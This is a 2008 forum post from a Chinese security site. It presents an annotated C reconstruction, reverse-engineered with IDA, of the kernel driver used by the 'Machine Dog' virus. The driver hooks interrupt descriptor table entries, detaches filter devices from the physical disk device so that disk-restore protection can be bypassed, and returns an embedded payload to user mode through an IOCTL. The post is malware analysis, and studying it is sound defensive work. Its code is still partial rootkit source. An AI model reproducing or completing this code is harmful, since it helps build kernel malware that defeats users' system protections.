查看: 1840|回复: 1
收起左侧

[其他相关] 机器狗驱动部分逆向分析注释

[复制链接]
小白鼠
发表于 2008-10-11 23:21:01 | 显示全部楼层 |阅读模式
【软件名称】: 机器狗(病毒)
【下载地址】: http://www.dream2fly.net 或 自己搜索下载
【加壳方式】: 未知壳
【编写语言】: MASM
【使用工具】: IDA
【操作平台】: win2003
【软件介绍】: 穿透冰点型带驱动病毒
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!


QUOTE:
#include <ntddk.h>       // various NT definitions

#define IOCTL_MYDEV_BASE         0xF000
#define IOCTL_MYDEV_Fun_0xF01     CTL_CODE(IOCTL_MYDEV_BASE, 0xF01, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DR0_DEVICE_NAME                 "\\Device\\Harddisk0\\DR0"
#define NT_DEVICE_NAME                 "\\Device\\PhysicalHardDisk0"
#define DOS_DEVICE_NAME                 "\\DosDevices\\PhysicalHardDisk0"

PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID*   g_ResData;
SIZE_T g_ResDataSize;

typedef struct _idtr
{
  //定义中断描述符表的限制,长度两字节;
  short     IDTLimit;
  //定义中断描述服表的基址,长度四字节;
  unsigned int   IDTBase;
}IDTR,*PIDTR;

typedef struct _idtentry
{
  //中断执行代码偏移量的底16位;
  unsigned short   OffsetLow;
  //选择器,也就是寄存器;
  unsigned short   Selector;
  //保留位,始终为零;
  unsigned char     Reserved;
  //IDT中的门的类型:包括中断门,陷阱门和任务门;
  unsigned char     Type:4;
  //段标识位;
  unsigned char     SegmentFlag:1;
  //中断门的权限等级,0表示内核级,3表示用户级;
  unsigned char     DPL:2;
  //呈现标志位;
  unsigned char     Present:1;
  //中断执行代码偏移量的高16位;
  unsigned short   OffsetHigh;
}IDTENTRY,*PIDTENTRY;

#define HOOKINTID_09 9           //NPX Segment Overrun
#define HOOKINTID_0E 0x0E     //Page Fault

VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址
{
    int INT_09_Address_High8;
    int INT_0E_Address_High8;
    unsigned long OldISR_09;
    unsigned long OldISR_0E;

    //保存IDT入口的基地址和限制信息的数据结构;
  IDTR     idtr;//store   interrupt   descript   table   register. to idtr

        //记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
  PIDTENTRY   IdtEntry;

  //汇编指令sidt,获取IDT入口信息;
  __asm sidt   idtr

  //赋予IDT基地址值;
  IdtEntry = (PIDTENTRY)idtr.IDTBase;

  //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用
    OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) | (IdtEntry[HOOKINTID_09].OffsetLow);

    INT_09_Address_High8 = OldISR_09&0x0FF000000;

    /*
    这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了???
    有知道的大侠告诉我dream2fly(QQ:838468959)
    sub   eax, eax
    jz     short FunctionExit
    难道是?
    if (INT_09_Address_High8 == 0)
          return;
    */


    //保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;
    OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) | (IdtEntry[HOOKINTID_0E].OffsetLow);

    INT_0E_Address_High8 = OldISR_0E&0x0FF000000;

    if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
    {           
          //关中断
          __asm cli
         
          IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd?
   
          //开中断
          __asm sti
    }
}

/*
通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
*/
VOID* SearchSelf()
{
    VOID* pSelfImage = NULL;
    VOID* pCurAddr = NULL;
    VOID* pTmpAddr = NULL;

//       loc_40045F:这个取当前地址用C怎么写?
//028 lea   ebx, loc_40045F
//028 and   ebx, 0FFFFFC00h

    //pSelfImage如何取?

    while(MmIsAddressValid(pSelfImage))
    {
          if ((unsigned long)pSelfImage <= 0x80000000)
                return NULL;

          if (RtlEqualMemory(pSelfImage, "MZ", 2))
          {
                pCurAddr = pSelfImage;
                pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
                (unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);

                if (!MmIsAddressValid(pCurAddr))
                    return NULL;

                if (RtlEqualMemory(pCurAddr, "PE", 2))
                    return pSelfImage;
          }

          (unsigned long)pSelfImage -= 0x400;//-1024K
    }
   
    return NULL;
}

SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int id2, CHAR* pResDatas)
{
    // 有空再补上:)

    return 0;
}
//
// Device driver routine declarations.
//

NTSTATUS
DriverEntry(
  IN OUT PDRIVER_OBJECT   DriverObject,
  IN PUNICODE_STRING     RegistryPath
  );

NTSTATUS
CommonDispatch(
  IN PDEVICE_OBJECT     DeviceObject,
  IN PIRP           Irp
  );

VOID
Unload(
  IN PDRIVER_OBJECT     DriverObject
  );

NTSTATUS
DriverEntry(
  IN OUT PDRIVER_OBJECT   DriverObject,
  IN PUNICODE_STRING     RegistryPath
  )
{
  NTSTATUS     ntStatus;
    CHAR*           pResData = NULL;
    ANSI_STRING           SourceString;
    PDEVICE_OBJECT DeviceObject = NULL;   // ptr to device object
  UNICODE_STRING SymbolicLinkName;   
    UNICODE_STRING DeviceName;   
    VOID* pSelfImage;
    PDEVICE_OBJECT cur_device_object;
    PDEVICE_OBJECT next_device_object;

    CheckIdt();

    pSelfImage = SearchSelf();
    if (pSelfImage == NULL)
          return -1;

    g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
    if (g_ResDataSize == 0)
    {
          return -1;
    }

    g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
    // 跳转到下条指令,延时 jmp short $+2

    RtlCopyMemory(g_ResData, pResData, g_ResDataSize);

    DriverObject->DriverUnload = Unload;
  DriverObject->MajorFunction[IRP_MJ_CREATE] =
  DriverObject->MajorFunction[IRP_MJ_CLOSE] =
  DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;

    // 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
    RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
    RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);

    RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
    RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);
  
  ntStatus = IoCreateDevice(
    DriverObject,             // Our Driver Object
    0,                     // We don't use a device extension
    &DeviceName,                           
    FILE_DEVICE_NULL,         // Device type
    0,   // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧?
    FALSE,                 // Not an exclusive device
    &DeviceObject );           // Returned ptr to Device Object

    if ( !NT_SUCCESS( ntStatus ) )
    {
          goto End;
    }

    ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );

    if ( !NT_SUCCESS( ntStatus ) )
    {
          cur_device_object = DriverObject->DeviceObject;

          while (cur_device_object)
          {
                next_device_object = DeviceObject->NextDevice;
                IoDeleteDevice(cur_device_object);
                cur_device_object = next_device_object;
          }
    }

End:
    RtlFreeUnicodeString(&DeviceName);
    RtlFreeUnicodeString(&SymbolicLinkName);

    return STATUS_SUCCESS;
}

VOID
Unload(
  IN PDRIVER_OBJECT DriverObject
  )
{
    ANSI_STRING           SourceString;
    PDEVICE_OBJECT DeviceObject = NULL;   // ptr to device object
  UNICODE_STRING SymbolicLinkName;   
    PDEVICE_OBJECT cur_device_object;
    PDEVICE_OBJECT next_device_object;

    if (g_ResData)
    {
          ExFreePool(g_ResData);
    }

    if (DriverObject)
    {
          RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
          RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

          IoDeleteSymbolicLink(&SymbolicLinkName);
          RtlFreeUnicodeString(&SymbolicLinkName);

          cur_device_object = DriverObject->DeviceObject;

          while (cur_device_object)
          {
                next_device_object = DeviceObject->NextDevice;
                IoDeleteDevice(cur_device_object);
                cur_device_object = next_device_object;
          }
    }
}

NTSTATUS
CommonDispatch(
  IN PDEVICE_OBJECT DeviceObject,
  IN PIRP Irp
  )
{
    PDEVICE_OBJECT DRO_DeviceObject = NULL;   // ptr to device object
    PFILE_OBJECT     DRO_FileObject;
    ANSI_STRING           SourceString;
  UNICODE_STRING DRO_DeviceName;   

  PIO_STACK_LOCATION irpSp;// Pointer to current stack location
  NTSTATUS         ntStatus = STATUS_SUCCESS;// Assume success
  ULONG           inBufLength; // Input buffer length
  ULONG           outBufLength; // Output buffer length

    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;

  irpSp = IoGetCurrentIrpStackLocation( Irp );
  inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
  outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

  if(!inBufLength || !outBufLength)
  {
    ntStatus = STATUS_INVALID_PARAMETER;
    goto End;
  }

    switch ( irpSp->MajorFunction )
    {
    case IRP_MJ_CREATE:
          RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
          RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);

          IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject, &DRO_DeviceObject);
          g_DR0_DeviceObject = DRO_FileObject->DeviceObject;

          //保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加
          if (DRO_FileObject->DeviceObject->AttachedDevice)
          {
                g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
                DRO_FileObject->DeviceObject->AttachedDevice= NULL;
          }

          ObDereferenceObject(DRO_FileObject);

          RtlFreeUnicodeString(&DRO_DeviceName);

          break;
    case IRP_MJ_CLOSE:
          if (g_DR0_DeviceObject)
          {
                if (g_OldAttachedDeviceOfDR0)
                {
                    g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
                }
          }

          break;
    case IRP_MJ_DEVICE_CONTROL:
          if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
          {
                if (outBufLength < g_ResDataSize)
                    goto End;

                // 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略
                // 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
                // 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??
                RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);

                Irp->IoStatus.Information = g_ResDataSize;
          }
          else
          {
                ntStatus = STATUS_INVALID_DEVICE_REQUEST;
          }

          break;

    default:

          //
    // The specified I/O control code is unrecognized by this driver.
    //

    ntStatus = STATUS_INVALID_DEVICE_REQUEST;
    break;
  }

End:
  //
  // Finish the I/O operation by simply completing the packet and returning
  // the same status as in the packet itself.
  //

  Irp->IoStatus.Status = ntStatus;

  IoCompleteRequest( Irp, IO_NO_INCREMENT );

  return ntStatus;
}

评分

参与人数 2技术 +1 人气 +1 收起 理由
kato9096 + 1 雖然看不明白
lanvin + 1 牛人!!!

查看全部评分

wrq
发表于 2008-10-12 00:09:01 | 显示全部楼层
沙发 技术含量啊
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-5-7 13:09 , Processed in 0.124889 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表